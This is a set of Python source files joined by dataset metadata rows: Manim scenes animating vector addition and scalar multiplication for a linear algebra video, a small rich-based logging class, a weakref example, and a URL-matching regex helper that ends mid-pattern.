self.remove(square_footage_words, price_words)
self.wait()
self.play(
Write(not_equals),
Write(alt_vector),
run_time=1
)
self.wait()
self.play(FadeOut(not_equals), FadeOut(alt_vector))
self.remove(not_equals, alt_vector)
self.wait()
self.play(
GrowFromCenter(brace),
Write(two_dimensional),
run_time=1
)
self.wait()
everything = VMobject(
house, square_footage, price, brackets, brace,
two_dimensional, title
)
self.play(ApplyMethod(everything.shift, FRAME_WIDTH*LEFT))
self.remove(everything)
def handle_mathy(self, creatures):
self.fade_all_but(creatures, 2)
physy, compy, mathy = creatures
v_color = YELLOW
w_color = BLUE
sum_color = GREEN
v_arrow = Vector([1, 1])
w_arrow = Vector([2, 1])
w_arrow.shift(v_arrow.get_end())
sum_arrow = Vector(w_arrow.get_end())
arrows = VMobject(v_arrow, w_arrow, sum_arrow)
arrows.scale(0.7)
arrows.to_edge(LEFT, buff=2)
v_array = matrix_to_mobject([3, -5])
w_array = matrix_to_mobject([2, 1])
sum_array = matrix_to_mobject(["3+2", "-5+1"])
arrays = VMobject(
v_array, TexMobject("+"), w_array, TexMobject("="), sum_array
)
arrays.arrange(RIGHT)
arrays.scale(0.75)
arrays.to_edge(RIGHT).shift(UP)
v_sym = TexMobject("\\vec{\\textbf{v}}")
w_sym = TexMobject("\\vec{\\textbf{w}}")
syms = VMobject(v_sym, TexMobject("+"), w_sym)
syms.arrange(RIGHT)
syms.center().shift(2*UP)
statement = TextMobject("We'll ignore him \\\\ for now")
statement.set_color(PINK)
statement.set_width(arrays.get_width())
statement.next_to(arrays, DOWN, buff=1.5)
circle = Circle()
circle.shift(syms.get_bottom())
VMobject(v_arrow, v_array, v_sym).set_color(v_color)
VMobject(w_arrow, w_array, w_sym).set_color(w_color)
VMobject(sum_arrow, sum_array).set_color(sum_color)
self.play(
Write(syms), Write(arrays),
ShowCreation(arrows),
ApplyMethod(mathy.change_mode, "pondering"),
run_time=2
)
self.play(Blink(mathy))
self.add_scaling(arrows, syms, arrays)
self.play(Write(statement))
self.play(ApplyMethod(mathy.change_mode, "sad"))
self.wait()
self.play(
ShowCreation(circle),
ApplyMethod(mathy.change_mode, "plain")
)
self.wait()
def add_scaling(self, arrows, syms, arrays):
s_arrows = VMobject(
TexMobject("2"), Vector([1, 1]).set_color(YELLOW),
TexMobject("="), Vector([2, 2]).set_color(WHITE)
)
s_arrows.arrange(RIGHT)
s_arrows.scale(0.75)
s_arrows.next_to(arrows, DOWN)
s_arrays = VMobject(
TexMobject("2"),
matrix_to_mobject([3, -5]).set_color(YELLOW),
TextMobject("="),
matrix_to_mobject(["2(3)", "2(-5)"])
)
s_arrays.arrange(RIGHT)
s_arrays.scale(0.75)
s_arrays.next_to(arrays, DOWN)
s_syms = TexMobject(["2", "\\vec{\\textbf{v}}"])
s_syms.split()[-1].set_color(YELLOW)
s_syms.next_to(syms, DOWN)
self.play(
Write(s_arrows), Write(s_arrays), Write(s_syms),
run_time=2
)
self.wait()
def fade_all_but(self, creatures, index):
self.play(*[
FadeOut(VMobject(pi, pi.title))
for pi in creatures[:index] + creatures[index+1:]
])
def restore_creatures(self, creatures):
self.play(*[
ApplyFunction(lambda m: m.change_mode(
"plain").set_color(m.color), pi)
for pi in creatures
] + [
ApplyMethod(pi.title.set_fill, WHITE, 1.0)
for pi in creatures
])
class ThreeDVectorField(Scene):
pass
class HelpsToHaveOneThought(Scene):
def construct(self):
morty = Mortimer()
morty.to_corner(DOWN+RIGHT)
morty.look(DOWN+LEFT)
new_morty = morty.copy().change_mode("speaking")
new_morty.look(DOWN+LEFT)
randys = VMobject(*[
Randolph(color=color).scale(0.8)
for color in (BLUE_D, BLUE_C, BLUE_E)
])
randys.arrange(RIGHT)
randys.to_corner(DOWN+LEFT)
randy = randys.split()[1]
speech_bubble = morty.get_bubble(SpeechBubble)
words = TextMobject("Think of some vector...")
speech_bubble.position_mobject_inside(words)
thought_bubble = randy.get_bubble()
arrow = Vector([2, 1]).scale(0.7)
or_word = TextMobject("or")
array = Matrix([2, 1]).scale(0.5)
q_mark = TextMobject("?")
thought = VMobject(arrow, or_word, array, q_mark)
thought.arrange(RIGHT, buff=0.2)
thought_bubble.position_mobject_inside(thought)
thought_bubble.set_fill(BLACK, opacity=1)
self.add(morty, randys)
self.play(
ShowCreation(speech_bubble),
Transform(morty, new_morty),
Write(words)
)
self.wait(2)
self.play(
FadeOut(speech_bubble),
FadeOut(words),
ApplyMethod(randy.change_mode, "pondering"),
ShowCreation(thought_bubble),
Write(thought)
)
self.wait(2)
class HowIWantYouToThinkAboutVectors(Scene):
def construct(self):
vector = Vector([-2, 3])
plane = NumberPlane()
axis_labels = plane.get_axis_labels()
other_vectors = VMobject(*list(map(Vector, [
[1, 2], [2, -1], [4, 0]
])))
colors = [GREEN_B, MAROON_B, PINK]
for v, color in zip(other_vectors.split(), colors):
v.set_color(color)
shift_val = 4*RIGHT+DOWN
dot = Dot(radius=0.1)
dot.set_color(RED)
tail_word = TextMobject("Tail")
tail_word.shift(0.5*DOWN+2.5*LEFT)
line = Line(tail_word, dot)
self.play(ShowCreation(vector))
self.wait(2)
self.play(
ShowCreation(plane, lag_ratio=0.5),
Animation(vector)
)
self.play(Write(axis_labels, run_time=1))
self.wait()
self.play(
GrowFromCenter(dot),
ShowCreation(line),
Write(tail_word, run_time=1)
)
self.wait()
self.play(
FadeOut(tail_word),
ApplyMethod(VMobject(dot, line).scale, 0.01)
)
self.remove(tail_word, line, dot)
self.wait()
self.play(ApplyMethod(
vector.shift, shift_val,
path_arc=3*np.pi/2,
run_time=3
))
self.play(ApplyMethod(
vector.shift, -shift_val,
rate_func=rush_into,
run_time=0.5
))
self.wait(3)
self.play(ShowCreation(
other_vectors,
run_time=3
))
self.wait(3)
x_axis, y_axis = plane.get_axes().split()
x_label = axis_labels.split()[0]
x_axis = x_axis.copy()
x_label = x_label.copy()
everything = VMobject(*self.mobjects)
self.play(
FadeOut(everything),
Animation(x_axis), Animation(x_label)
)
class ListsOfNumbersAddOn(Scene):
def construct(self):
arrays = VMobject(*list(map(matrix_to_mobject, [
[-2, 3], [1, 2], [2, -1], [4, 0]
])))
arrays.arrange(buff=0.4)
arrays.scale(2)
self.play(Write(arrays))
self.wait(2)
class CoordinateSystemWalkthrough(VectorScene):
def construct(self):
self.introduce_coordinate_plane()
self.show_vector_coordinates()
self.coords_to_vector([3, -1])
self.vector_to_coords([-2, -1.5], integer_labels=False)
def introduce_coordinate_plane(self):
plane = NumberPlane()
x_axis, y_axis = plane.get_axes().copy().split()
x_label, y_label = plane.get_axis_labels().split()
number_line = NumberLine(tick_frequency=1)
x_tick_marks = number_line.get_tick_marks()
y_tick_marks = x_tick_marks.copy().rotate(np.pi/2)
tick_marks = VMobject(x_tick_marks, y_tick_marks)
tick_marks.set_color(WHITE)
plane_lines = [m for m in plane.get_family() if isinstance(m, Line)]
origin_words = TextMobject("Origin")
origin_words.shift(2*UP+2*LEFT)
dot = Dot(radius=0.1).set_color(RED)
line = Line(origin_words.get_bottom(), dot.get_corner(UP+LEFT))
unit_brace = Brace(Line(RIGHT, 2*RIGHT))
one = TexMobject("1").next_to(unit_brace, DOWN)
self.add(x_axis, x_label)
self.wait()
self.play(ShowCreation(y_axis))
self.play(Write(y_label, run_time=1))
self.wait(2)
self.play(
Write(origin_words),
GrowFromCenter(dot),
ShowCreation(line),
run_time=1
)
self.wait(2)
self.play(
FadeOut(VMobject(origin_words, dot, line))
)
self.remove(origin_words, dot, line)
self.wait()
self.play(
ShowCreation(tick_marks)
)
self.play(
GrowFromCenter(unit_brace),
Write(one, run_time=1)
)
self.wait(2)
self.remove(unit_brace, one)
self.play(
*list(map(GrowFromCenter, plane_lines)) + [
Animation(x_axis), Animation(y_axis)
])
self.wait()
self.play(
FadeOut(plane),
Animation(VMobject(x_axis, y_axis, tick_marks))
)
self.remove(plane)
self.add(tick_marks)
def show_vector_coordinates(self):
starting_mobjects = list(self.mobjects)
vector = Vector([-2, 3])
x_line = Line(ORIGIN, -2*RIGHT)
y_line = Line(-2*RIGHT, -2*RIGHT+3*UP)
x_line.set_color(X_COLOR)
y_line.set_color(Y_COLOR)
array = vector_coordinate_label(vector)
x_label, y_label = array.get_mob_matrix().flatten()
x_label_copy = x_label.copy()
x_label_copy.set_color(X_COLOR)
y_label_copy = y_label.copy()
y_label_copy.set_color(Y_COLOR)
point = Dot(4*LEFT+2*UP)
point_word = TextMobject("(-4, 2) as \\\\ a point")
point_word.scale(0.7)
point_word.next_to(point, DOWN)
point.add(point_word)
self.play(ShowCreation(vector))
self.play(Write(array))
self.wait(2)
self.play(ApplyMethod(x_label_copy.next_to, x_line, DOWN))
self.play(ShowCreation(x_line))
self.wait(2)
self.play(ApplyMethod(y_label_copy.next_to, y_line, LEFT))
self.play(ShowCreation(y_line))
self.wait(2)
self.play(FadeIn(point))
self.wait()
self.play(ApplyFunction(
lambda m: m.scale_in_place(1.25).set_color(YELLOW),
array.get_brackets(),
rate_func=there_and_back
))
self.wait()
self.play(FadeOut(point))
self.remove(point)
self.wait()
self.clear()
self.add(*starting_mobjects)
class LabeledThreeDVector(Scene):
pass
class WriteZ(Scene):
def construct(self):
z = TexMobject("z").set_color(Z_COLOR)
z.set_height(4)
self.play(Write(z, run_time=2))
self.wait(3)
class Write3DVector(Scene):
def construct(self):
array = Matrix([2, 1, 3]).scale(2)
x, y, z = array.get_mob_matrix().flatten()
brackets = array.get_brackets()
x.set_color(X_COLOR)
y.set_color(Y_COLOR)
z.set_color(Z_COLOR)
self.add(brackets)
for mob in x, y, z:
self.play(Write(mob), run_time=2)
self.wait()
class VectorAddition(VectorScene):
def construct(self):
self.add_plane()
vects = self.define_addition()
# vects = map(Vector, [[1, 2], [3, -1], [4, 1]])
self.ask_why(*vects)
self.answer_why(*vects)
def define_addition(self):
v1 = self.add_vector([1, 2])
v2 = self.add_vector([3, -1], color=MAROON_B)
l1 = self.label_vector(v1, "v")
l2 = self.label_vector(v2, "w")
self.wait()
self.play(ApplyMethod(v2.shift, v1.get_end()))
self.wait()
v_sum = self.add_vector(v2.get_end(), color=PINK)
sum_tex = "\\vec{\\textbf{v}} + \\vec{\\textbf{w}}"
self.label_vector(v_sum, sum_tex, rotate=True)
self.wait(3)
return v1, v2, v_sum
def ask_why(self, v1, v2, v_sum):
why = TextMobject("Why?")
why_not_this = TextMobject("Why not \\\\ this?")
new_v2 = v2.copy().shift(-v2.get_start())
new_v_sum = v_sum.copy()
alt_vect_sum = new_v2.get_end() - v1.get_end()
new_v_sum.shift(-new_v_sum.get_start())
new_v_sum.rotate(
angle_of_vector(alt_vect_sum) - new_v_sum.get_angle()
)
new_v_sum.scale(get_norm(alt_vect_sum)/new_v_sum.get_length())
new_v_sum.shift(v1.get_end())
new_v_sum.submobjects.reverse() # No idea why I have to do this
original_v_sum = v_sum.copy()
why.next_to(v2, RIGHT)
why_not_this.next_to(new_v_sum, RIGHT)
why_not_this.shift(0.5*UP)
self.play(Write(why, run_time=1))
self.wait(2)
self.play(
Transform(v2, new_v2),
Transform(v_sum, new_v_sum),
Transform(why, why_not_this)
)
self.wait(2)
self.play(
FadeOut(why),
Transform(v_sum, original_v_sum)
)
self.remove(why)
self.wait()
def answer_why(self, v1, v2, v_sum):
randy = Randolph(color=PINK)
randy.shift(-randy.get_bottom())
self.remove(v1, v2, v_sum)
for v in v1, v2, v_sum:
self.add(v)
self.show_ghost_movement(v)
self.remove(v)
self.add(v1, v2)
self.wait()
self.play(ApplyMethod(randy.scale, 0.3))
self.play(ApplyMethod(randy.shift, v1.get_end()))
self.wait()
self.play(ApplyMethod(v2.shift, v1.get_end()))
self.play(ApplyMethod(randy.move_to, v2.get_end()))
self.wait()
self.remove(randy)
randy.move_to(ORIGIN)
self.play(FadeIn(v_sum))
self.play(ApplyMethod(randy.shift, v_sum.get_end()))
self.wait()
class AddingNumbersOnNumberLine(Scene):
def construct(self):
number_line = NumberLine()
number_line.add_numbers()
two_vect = Vector([2, 0])
five_vect = Vector([5, 0], color=MAROON_B)
seven_vect = Vector([7, 0], color=PINK)
five_vect.shift(two_vect.get_end())
seven_vect.shift(0.5*DOWN)
vects = [two_vect, five_vect, seven_vect]
two, five, seven = list(map(TexMobject, ["2", "5", "7"]))
two.next_to(two_vect, UP)
five.next_to(five_vect, UP)
seven.next_to(seven_vect, DOWN)
nums = [two, five, seven]
sum_mob = TexMobject("2 + 5").shift(3*UP)
self.play(ShowCreation(number_line))
self.wait()
self.play(Write(sum_mob, run_time=2))
self.wait()
for vect, num in zip(vects, nums):
self.play(
ShowCreation(vect),
Write(num, run_time=1)
)
self.wait()
class VectorAdditionNumerically(VectorScene):
def construct(self):
plus = TexMobject("+")
equals = TexMobject("=")
randy = Randolph()
randy.set_height(1)
randy.shift(-randy.get_bottom())
axes = self.add_axes()
x_axis, y_axis = axes.split()
v1 = self.add_vector([1, 2])
coords1, x_line1, y_line1 = self.vector_to_coords(v1, clean_up=False)
self.play(ApplyFunction(
lambda m: m.next_to(y_axis, RIGHT).to_edge(UP),
coords1
))
plus.next_to(coords1, RIGHT)
v2 = self.add_vector([3, -1], color=MAROON_B)
coords2, x_line2, y_line2 = self.vector_to_coords(v2, clean_up=False)
self.wait()
self.play(
ApplyMethod(coords2.next_to, plus, RIGHT),
Write(plus, run_time=1),
*[
ApplyMethod(mob.shift, v1.get_end())
for mob in (v2, x_line2, y_line2)
]
)
equals.next_to(coords2, RIGHT)
self.wait()
self.play(FadeIn(randy))
for step in [RIGHT, 2*UP, 3*RIGHT, DOWN]:
self.play(ApplyMethod(randy.shift, step, run_time=1.5))
self.wait()
self.play(ApplyMethod(randy.shift, -randy.get_bottom()))
self.play(ApplyMethod(x_line2.shift, 2*DOWN))
self.play(ApplyMethod(y_line1.shift, 3*RIGHT))
for step in [4*RIGHT, 2*UP, DOWN]:
self.play(ApplyMethod(randy.shift, step))
self.play(FadeOut(randy))
self.remove(randy)
one_brace = Brace(x_line1)
three_brace = Brace(x_line2)
one = TexMobject("1").next_to(one_brace, DOWN)
three = TexMobject("3").next_to(three_brace, DOWN)
self.play(
GrowFromCenter(one_brace),
GrowFromCenter(three_brace),
Write(one),
Write(three),
run_time=1
)
self.wait()
two_brace = Brace(y_line1, RIGHT)
two = TexMobject("2").next_to(two_brace, RIGHT)
new_y_line = Line(4*RIGHT, 4*RIGHT+UP, color=Y_COLOR)
two_minus_one_brace = Brace(new_y_line, RIGHT)
two_minus_one = TexMobject(
"2+(-1)").next_to(two_minus_one_brace, RIGHT)
self.play(
GrowFromCenter(two_brace),
Write(two, run_time=1)
)
self.wait()
self.play(
Transform(two_brace, two_minus_one_brace),
Transform(two, two_minus_one),
Transform(y_line1, new_y_line),
Transform(y_line2, new_y_line)
)
self.wait()
self.add_vector(v2.get_end(), color=PINK)
sum_coords = Matrix(["1+3", "2+(-1)"])
sum_coords.set_height(coords1.get_height())
sum_coords.next_to(equals, RIGHT)
brackets = sum_coords.get_brackets()
x1, y1 = coords1.get_mob_matrix().flatten()
x2, y2 = coords2.get_mob_matrix().flatten()
sum_x, sum_y = sum_coords.get_mob_matrix().flatten()
sum_x_start = VMobject(x1, x2).copy()
sum_y_start = VMobject(y1, y2).copy()
self.play(
Write(brackets),
Write(equals),
Transform(sum_x_start, sum_x),
run_time=1
)
self.play(Transform(sum_y_start, sum_y))
self.wait(2)
starters = [x1, y1, x2, y2, sum_x_start, sum_y_start]
variables = list(map(TexMobject, [
"x_1", "y_1", "x_2", "y_2", "x_1+y_1", "x_2+y_2"
]))
for i, (var, starter) in enumerate(zip(variables, starters)):
if i % 2 == 0:
var.set_color(X_COLOR)
else:
var.set_color(Y_COLOR)
var.scale(VECTOR_LABEL_SCALE_FACTOR)
var.move_to(starter)
self.play(
Transform(
VMobject(*starters[:4]),
VMobject(*variables[:4])
),
FadeOut(sum_x_start),
FadeOut(sum_y_start)
)
sum_x_end, sum_y_end = variables[-2:]
self.wait(2)
self.play(
Transform(VMobject(x1, x2).copy(), sum_x_end)
)
self.play(
Transform(VMobject(y1, y2).copy(), sum_y_end)
)
self.wait(3)
class MultiplicationByANumberIntro(Scene):
def construct(self):
v = TexMobject("\\vec{\\textbf{v}}")
v.set_color(YELLOW)
nums = list(map(TexMobject, ["2", "\\dfrac{1}{3}", "-1.8"]))
for mob in [v] + nums:
mob.scale(1.5)
self.play(Write(v, run_time=1))
last = None
for num in nums:
num.next_to(v, LEFT)
if last:
self.play(Transform(last, num))
else:
self.play(FadeIn(num))
last = num
self.wait()
class ShowScalarMultiplication(VectorScene):
def construct(self):
plane = self.add_plane()
v = self.add_vector([3, 1])
label = self.label_vector(v, "v", add_to_vector=False)
self.scale_vector(v, 2, label)
self.scale_vector(v, 1./3, label, factor_tex="\\dfrac{1}{3}")
self.scale_vector(v, -1.8, label)
self.remove(label)
self.describe_scalars(v, plane)
def scale_vector(self, v, factor, v_label,
v_name="v", factor_tex=None):
starting_mobjects = list(self.mobjects)
if factor_tex is None:
factor_tex = str(factor)
scaled_vector = self.add_vector(
factor*v.get_end(), animate=False
)
self.remove(scaled_vector)
label_tex = "%s\\vec{\\textbf{%s}}" % (factor_tex, v_name)
label = self.label_vector(
scaled_vector, label_tex, animate=False,
add_to_vector=False
)
self.remove(label)
factor_mob = TexMobject(factor_tex)
if factor_mob.get_height() > 1:
factor_mob.set_height(0.9)
if factor_mob.get_width() > 1:
factor_mob.set_width(0.9)
factor_mob.shift(1.5*RIGHT+2.5*UP)
num_factor_parts = len(factor_mob.split())
factor_mob_parts_in_label = label.split()[:num_factor_parts]
label_remainder_parts = label.split()[num_factor_parts:]
factor_in_label = VMobject(*factor_mob_parts_in_label)
label_remainder = VMobject(*label_remainder_parts)
self.play(Write(factor_mob, run_time=1))
self.wait()
self.play(
ApplyMethod(v.copy().set_color, DARK_GREY),
ApplyMethod(v_label.copy().set_color, DARK_GREY),
Transform(factor_mob, factor_in_label),
Transform(v.copy(), scaled_vector),
Transform(v_label.copy(), label_remainder),
)
self.wait(2)
self.clear()
self.add(*starting_mobjects)
def describe_scalars(self, v, plane):
axes = plane.get_axes()
long_v = Vector(2*v.get_end())
long_minus_v = Vector(-2*v.get_end())
original_v = v.copy()
scaling_word = TextMobject("``Scaling''").to_corner(UP+LEFT)
scaling_word.shift(2*RIGHT)
scalars = VMobject(*list(map(TexMobject, [
"2,", "\\dfrac{1}{3},", "-1.8,", "\\dots"
])))
scalars.arrange(RIGHT, buff=0.4)
scalars.next_to(scaling_word, DOWN, aligned_edge=LEFT)
scalars_word = TextMobject("``Scalars''")
scalars_word.next_to(scalars, DOWN, aligned_edge=LEFT)
self.remove(plane)
self.add(axes)
self.play(
Write(scaling_word),
Transform(v, long_v),
run_time=1.5
)
self.play(Transform(v, long_minus_v, run_time=3))
self.play(Write(scalars))
self.wait()
self.play(Write(scalars_word))
self.play(Transform(v, original_v), run_time=3)
self.wait(2)
class ScalingNumerically(VectorScene):
def construct(self):
two_dot = TexMobject("2\\cdot")
equals = TexMobject("=")
self.add_axes()
v = self.add_vector([3, 1])
v_coords, vx_line, vy_line = self.vector_to_coords(v, clean_up=False)
self.play(ApplyMethod(v_coords.to_edge, UP))
two_dot.next_to(v_coords, LEFT)
equals.next_to(v_coords, RIGHT)
two_v = self.add_vector([6, 2], animate=False)
self.remove(two_v)
self.play(
Transform(v.copy(), two_v),
Write(two_dot, run_time=1)
)
two_v_coords, two_v_x_line, two_v_y_line = self.vector_to_coords(
two_v, clean_up=False
)
self.play(
ApplyMethod(two_v_coords.next_to, equals, RIGHT),
Write(equals, run_time=1)
)
self.wait(2)
x, y = v_coords.get_mob_matrix().flatten()
two_v_elems = two_v_coords.get_mob_matrix().flatten()
x_sym, y_sym = list(map(TexMobject, ["x", "y"]))
two_x_sym, two_y_sym = list(map(TexMobject, ["2x", "2y"]))
VMobject(x_sym, two_x_sym).set_color(X_COLOR)
VMobject(y_sym, two_y_sym).set_color(Y_COLOR)
syms = [x_sym, y_sym, two_x_sym, two_y_sym]
VMobject(*syms).scale(VECTOR_LABEL_SCALE_FACTOR)
for sym, num in zip(syms, [x, y] + list(two_v_elems)):
sym.move_to(num)
self.play(
Transform(x, x_sym),
Transform(y, y_sym),
FadeOut(VMobject(*two_v_elems))
)
self.wait()
self.play(
Transform(
VMobject(two_dot.copy(), x.copy()),
two_x_sym
),
Transform(
VMobject(two_dot.copy(), y.copy()),
two_y_sym
)
)
self.wait(2)
class FollowingVideos(UpcomingSeriesOfVidoes):
def construct(self):
v_sum = VMobject(
Vector([1, 1], color=YELLOW),
Vector([3, 1], color=BLUE).shift(RIGHT+UP),
Vector([4, 2], color=GREEN),
)
scalar_multiplication = VMobject(
TexMobject("2 \\cdot "),
Vector([1, 1]),
TexMobject("="),
Vector([2, 2], color=WHITE)
)
scalar_multiplication.arrange(RIGHT)
both = VMobject(v_sum, scalar_multiplication)
both.arrange(RIGHT, buff=1)
both.shift(2*DOWN)
self.add(both)
UpcomingSeriesOfVidoes.construct(self)
last_video = self.mobjects[-1]
self.play(ApplyMethod(last_video.set_color, YELLOW))
self.wait()
everything = VMobject(*self.mobjects)
everything.remove(last_video)
big_last_video = last_video.copy()
big_last_video.center()
big_last_video.set_height(2.5*FRAME_Y_RADIUS)
big_last_video.set_fill(opacity=0)
self.play(
ApplyMethod(everything.shift, FRAME_WIDTH*LEFT),
Transform(last_video, big_last_video),
run_time=2
)
class ItDoesntMatterWhich(Scene):
def construct(self):
physy = Physicist()
compy = ComputerScientist()
physy.title = TextMobject("Physics student").to_corner(DOWN+LEFT)
compy.title = TextMobject("CS student").to_corner(DOWN+RIGHT)
for pi in physy, compy:
pi.next_to(pi.title, UP)
self.add(pi, pi.title)
compy_speech = compy.get_bubble(SpeechBubble)
physy_speech = physy.get_bubble(SpeechBubble)
arrow = Vector([2, 1])
array = matrix_to_mobject([2, 1])
goes_to = TexMobject("\\Rightarrow")
physy_statement = VMobject(arrow, goes_to, array)
physy_statement.arrange(RIGHT)
compy_statement = physy_statement.copy()
compy_statement.arrange(LEFT)
physy_speech.position_mobject_inside(physy_statement)
compy_speech.position_mobject_inside(compy_statement)
new_arrow = Vector([2, 1])
x_line = Line(ORIGIN, 2*RIGHT, color=X_COLOR)
y_line = Line(2*RIGHT, 2*RIGHT+UP, color=Y_COLOR)
x_mob = TexMobject("2").next_to(x_line, DOWN)
y_mob = TexMobject("1").next_to(y_line, RIGHT)
new_arrow.add(x_line, y_line, x_mob, y_mob)
back_and_forth = VMobject(
new_arrow,
TexMobject("\\Leftrightarrow"),
matrix_to_mobject([2, 1])
)
back_and_forth.arrange(LEFT).center()
self.wait()
self.play(
ApplyMethod(physy.change_mode, "speaking"),
ShowCreation(physy_speech),
Write(physy_statement),
run_time=1
)
self.play(Blink(compy))
self.play(
ApplyMethod(physy.change_mode, "sassy"),
ApplyMethod(compy.change_mode, "speaking"),
FadeOut(physy_speech),
ShowCreation(compy_speech),
Transform(physy_statement, compy_statement, path_arc=np.pi)
)
self.wait(2)
self.play(
ApplyMethod(physy.change_mode, "pondering"),
ApplyMethod(compy.change_mode, "pondering"),
Transform(compy_speech, VectorizedPoint(compy_speech.get_tip())),
Transform(physy_statement, back_and_forth)
)
self.wait()
class DataAnalyst(Scene):
def construct(self):
plane = NumberPlane()
ellipse = ParametricFunction(
lambda x: 2*np.cos(x)*(UP+RIGHT) + np.sin(x)*(UP+LEFT),
color=PINK,
t_max=2*np.pi
)
ellipse_points = [
ellipse.point_from_proportion(x)
for x in np.arange(0, 1, 1./20)
]
string_vects = [
matrix_to_mobject(("%.02f %.02f" % tuple(ep[:2])).split())
for ep in ellipse_points
]
string_vects_matrix = Matrix(
np.array(string_vects).reshape((4, 5))
)
string_vects = string_vects_matrix.get_mob_matrix().flatten()
string_vects = VMobject(*string_vects)
vects = VMobject(*list(map(Vector, ellipse_points)))
self.play(Write(string_vects))
self.wait(2)
self.play(
FadeIn(plane),
Transform(string_vects, vects)
)
self.remove(string_vects)
self.add(vects)
self.wait()
self.play(
ApplyMethod(plane.fade, 0.7),
ApplyMethod(vects.set_color, DARK_GREY),
ShowCreation(ellipse)
)
self.wait(3)
class ManipulateSpace(LinearTransformationScene):
CONFIG = {
"include_background_plane": False,
"show_basis_vectors": False,
}
def construct(self):
matrix_rule = TexMobject("""
\\left[
\\begin{array}{c}
x \\\\ y
\\end{array}
\\right]
\\rightarrow
\\left[
\\begin{array}{c}
2x + y \\\\ y + 2x
\\end{array}
\\right]
""")
self.setup()
pi_creature = PiCreature(color=PINK).scale(0.5)
pi_creature.shift(-pi_creature.get_corner(DOWN+LEFT))
self.plane.prepare_for_nonlinear_transform()
self.play(ShowCreation(
self.plane,
run_time=2
))
self.play(FadeIn(pi_creature))
self.play(Blink(pi_creature))
self.plane.add(pi_creature)
self.play(Homotopy(plane_wave_homotopy, self.plane, run_time=3))
self.wait(2)
self.apply_matrix([[2, 1], [1, 2]])
self.wait()
self.play(
FadeOut(self.plane),
Write(matrix_rule),
run_time=2
)
self.wait()
class CodingMathyAnimation(Scene):
pass
class NextVideo(Scene):
def construct(self):
title = TextMobject("Next video: Linear combinations, span, and bases")
title.to_edge(UP)
rect = Rectangle(width=16, height=9, color=BLUE)
rect.set_height(6)
rect.next_to(title, DOWN)
self.add(title)
self.play(ShowCreation(rect))
self.wait()
| true | true |
f73c2676db045c362cb162e36986d32811c59752 | 779 | py | Python | prism/logging.py | ii-Python/Prism-v3 | 15a43161b41117529c915726e6270259f05d187d | [
"MIT"
] | 3 | 2021-11-26T22:08:11.000Z | 2021-12-23T21:42:22.000Z | prism/logging.py | wannurhadi/Prism-v3 | 514f8d17072bf208c42e68391bce471c7d608269 | [
"MIT"
] | 1 | 2021-07-07T22:37:10.000Z | 2021-07-07T22:40:11.000Z | prism/logging.py | wannurhadi/Prism-v3 | 514f8d17072bf208c42e68391bce471c7d608269 | [
"MIT"
] | 1 | 2021-12-23T21:42:24.000Z | 2021-12-23T21:42:24.000Z | # Copyright 2021-xx iiPython
# Modules
import sys
from rich.console import Console
# Logging class
rcon = Console()
class Logging(object):
def __init__(self) -> None:
self._color_map = {"success": "green", "info": "cyan", "warn": "yellow", "error": "red", "crash": "red"}
def log(self, log_type: str, message: str, exit_code: int = None) -> None:
if log_type not in self._color_map:
raise ValueError("no such log level: '{}'".format(log_type))
rcon.log("[{}][{}] {}".format(self._color_map[log_type], log_type.upper(), message))
if log_type == "crash":
sys.exit(exit_code if exit_code is not None else 1)
elif exit_code is not None:
sys.exit(exit_code)
# Initialization
logger = Logging()
| 29.961538 | 112 | 0.623877 |
import sys
from rich.console import Console
rcon = Console()
class Logging(object):
def __init__(self) -> None:
self._color_map = {"success": "green", "info": "cyan", "warn": "yellow", "error": "red", "crash": "red"}
def log(self, log_type: str, message: str, exit_code: int = None) -> None:
if log_type not in self._color_map:
raise ValueError("no such log level: '{}'".format(log_type))
rcon.log("[{}][{}] {}".format(self._color_map[log_type], log_type.upper(), message))
if log_type == "crash":
sys.exit(exit_code if exit_code is not None else 1)
elif exit_code is not None:
sys.exit(exit_code)
logger = Logging()
| true | true |
f73c26ee4e2153bf40cc9801cb0634db85f53bef | 352 | py | Python | WEEKS/CD_Sata-Structures/_MISC/misc-examples/python3-book-examples/weakref/weakref_ref.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | null | null | null | WEEKS/CD_Sata-Structures/_MISC/misc-examples/python3-book-examples/weakref/weakref_ref.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | null | null | null | WEEKS/CD_Sata-Structures/_MISC/misc-examples/python3-book-examples/weakref/weakref_ref.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | null | null | null | #
"""Example using weakref.ref to manage a reference to an object.
"""
# end_pymotw_header
import weakref
class ExpensiveObject:
def __del__(self):
print("(Deleting {})".format(self))
obj = ExpensiveObject()
r = weakref.ref(obj)
print("obj:", obj)
print("ref:", r)
print("r():", r())
print("deleting obj")
del obj
print("r():", r())
| 14.666667 | 64 | 0.639205 |
import weakref
class ExpensiveObject:
def __del__(self):
print("(Deleting {})".format(self))
obj = ExpensiveObject()
r = weakref.ref(obj)
print("obj:", obj)
print("ref:", r)
print("r():", r())
print("deleting obj")
del obj
print("r():", r())
| true | true |
f73c2740e1649fade5126de35b580c31b8df51f6 | 435 | py | Python | similarity/helpers/url_helpers.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | 1 | 2020-10-06T15:40:46.000Z | 2020-10-06T15:40:46.000Z | similarity/helpers/url_helpers.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | null | null | null | similarity/helpers/url_helpers.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | null | null | null | import re
URL_REGEX = re.compile(
r'^(?:http|ftp)s?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
r'localhost|' # localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
def is_url(word):
if URL_REGEX.match(word):
return True
return False
| 27.1875 | 101 | 0.448276 | import re
URL_REGEX = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
r'localhost|'
